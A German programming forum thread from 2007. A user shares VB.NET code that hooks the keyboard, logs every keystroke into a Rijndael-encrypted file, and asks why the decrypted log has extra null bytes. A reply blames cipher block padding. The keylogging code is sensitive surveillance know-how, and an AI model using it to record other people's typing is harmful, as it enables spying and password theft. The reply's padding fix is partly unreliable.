Zu viele Nullen nach der verschlüsselung

12/10/2007 - 15:24 von Arne Düring | Report spam
Hallo,
ich habe ein Problem mit Ver- und Entschlüsselungsfunktionen.
In der Datei, die entschlüsselt ist, tauchen zu viele Nullen auf.

Projekt:
Die Tastatur soll überwacht werden. Bei Tastaturanschlag wird eine Datei
entschlüsselt, der Wert des Tastenanschlages hinzugefügt und wieder
verschlüsselt.
Der Boolean Me.IsKeyboardFileFirst gibt an, das die Datei beim ersten
Tastaturanschlag nicht entschlüsselt werden soll. Nur Zeitstempel im
Klartext. Wenn IsButton = True, dann werden die die Daten entschlüselnd
in einer Datei gespeichert (Optional ByVal decFileName As String =
"C:\key.enc.dec")
Der Inhalt dieser Datei(nach drücken von halt abc):
"Created--> 12.10.2007
14:36:39..A..B...C..."
14 Nullen hinter A und hinter jeden anderen 15 Nullen.
Woher kommt das?


Die Decrypt Funktion:

Funktion entschlüsselt wahlweise ein Byte Array oder den Inhalt der
verschlüsselten Tastaturüberwachungsdatei.

''' <param name="X509EncryptContent">Übergibt das <c>Byte()</c>,
das entschlüsselt werden soll.</param>
''' <param name="IsButton">Wenn True dann wird die Datei
entschlüsselt und erster Parameter ignoriert.</param>
''' <param name="decFileName">Dateiname in der entschlüsselt wird.
Standardwert = "C:\key.enc.dec"</param>
''' <returns>Das entschlüsselte <c>Byte()</c></returns>
''' <remarks></remarks>
Private Function DecryptKeyboard(ByVal X509EncryptContent() As
Byte, Optional ByVal IsButton As Boolean = False, Optional ByVal
decFileName As String = "C:\key.enc.dec") As Byte()
Me.IsKeyboardDecrypt = True
Dim KeyBytes() As Byte
If IsButton = True Then
KeyBytes = Me.GetBytesFromFile(Me.KeyboardFile)
Else
KeyBytes = X509EncryptContent
End If
Dim myRijndael As New RijndaelManaged
Dim decryptor As ICryptoTransform =
myRijndael.CreateDecryptor(Me.KeyboardKeyEncryptKey,
Me.KeyboardKeyEncryptIV)
Dim msDecrypt As New IO.MemoryStream(KeyBytes)
Dim csDecrypt As New
CryptoStream(msDecrypt,decryptor,CryptoStreamMode.Read)
Dim fromEncrypt(KeyBytes.Length - 1) As Byte
csDecrypt.Read(fromEncrypt, 0, KeyBytes.Length)
If IsButton = True Then
Dim sr As System.IO.Stream = System.IO.File.Create(decFileName)
Dim AE As New System.Text.UTF8Encoding()
Dim tmp As String = AE.GetString(fromEncrypt)
Dim o() As Byte = AE.GetBytes(tmp)
sr.Write(o, 0, o.Length)
sr.Close()
End If
Me.IsKeyboardDecrypt = False
Return fromEncrypt
End Function

Die Encrypt Funktion:

''' <summary>
''' Wird aufgerufen wenn eine Taste der Tastatur gedrückt wurde.
Der Wert wird dann verschlüsselt der Tastaturüberwachungsdatei
angehàngt. Die Tastaturüberwachungsdatei wird davor entschlüsselt.
''' </summary>
''' <param name="kEvent">Kennedy.ManagedHooks.KeyboardEvents</param>
''' <param name="key">Keys die gedrückt worden.</param>
''' <remarks>Diese Funktion übergibt der Form "Status"
Variabeln.</remarks>
Private Sub keyHook_KeyboardEvent(ByVal kEvent As
Kennedy.ManagedHooks.KeyboardEvents, ByVal key As Keys)
If Me.IsEncStart = False Then
Me.IsEncStart = True
Stat.SetParanoidForm1Values(Me.KPath, Me.KIsKeyboard,
Me.IsEncStart)
End If

If kEvent = Kennedy.ManagedHooks.KeyboardEvents.KeyDown Then
Dim toEncrypt() As Byte
Dim Textcrypt As New System.Text.UTF8Encoding
If Me.IsKeyboardFileFirst = True Then
toEncrypt = Me.GetBytesFromFile(Me.KeyboardFile)
Me.IsKeyboardFileFirst = False
Else
Dim f() As Byte = Me.GetBytesFromFile(Me.KeyboardFile)
toEncrypt = Me.DecryptKeyboard(f)
End If
Dim myRijndael As New RijndaelManaged
Dim encrypted() As Byte
Dim encryptor As ICryptoTransform =
myRijndael.CreateEncryptor(Me.KeyboardKeyEncryptKey,
Me.KeyboardKeyEncryptIV)
Dim msEncrypt As New IO.MemoryStream
Dim csEncrypt As New CryptoStream(msEncrypt, encryptor,
CryptoStreamMode.Write)

Dim sr As System.IO.Stream =
System.IO.File.Create(Me.KeyboardFile)
Dim j As New String(Textcrypt.GetString(toEncrypt))
Dim jj As String = key.ToString
Dim jjj As String = j + jj
Dim Bjjj() As Byte = Textcrypt.GetBytes(jjj)
csEncrypt.Write(Bjjj, 0, Bjjj.Length)
csEncrypt.FlushFinalBlock()
encrypted = msEncrypt.ToArray()
sr.Write(encrypted, 0, encrypted.Length)
sr.Close()
sr = Nothing
End If
End Sub
 

Lesen sie die antworten

#1 Torsten Kerz
15/10/2007 - 09:23 | Warnen spam
Hallo Arne.

Arne Düring schrieb:
Hallo,
ich habe ein Problem mit Ver- und Entschlüsselungsfunktionen.
In der Datei, die entschlüsselt ist, tauchen zu viele Nullen auf.

Der Inhalt dieser Datei(nach drücken von halt abc):
"Created--> 12.10.2007
14:36:39..A..B...C..."
14 Nullen hinter A und hinter jeden anderen 15 Nullen.
Woher kommt das?



Ohne jetzt deinen Quelltext durchgesehen zu haben ...
Viele Verschlüsselungsalgorythmen arbeiten mit einer festen Blocklànge. In deinem Fall sind schlichtweg 16 Bytes je
Verschlüsselungsvorgang das Minimum. Entsprechend werden nach einem einzigen Zeichen jeweils 15 Zeichen angefügt, um
einen vollstàndigen Block zu erhalten.
Du kannst diese 0-Bytes einfach wegschneiden und ignorieren. Vor dem Entschlüsseln füllst Du wieder mit 0-Bytes auf die
nàchste 16er-Grenze auf und somit ist das Problem gelöst.

Gruß,
Torsten.

Ähnliche fragen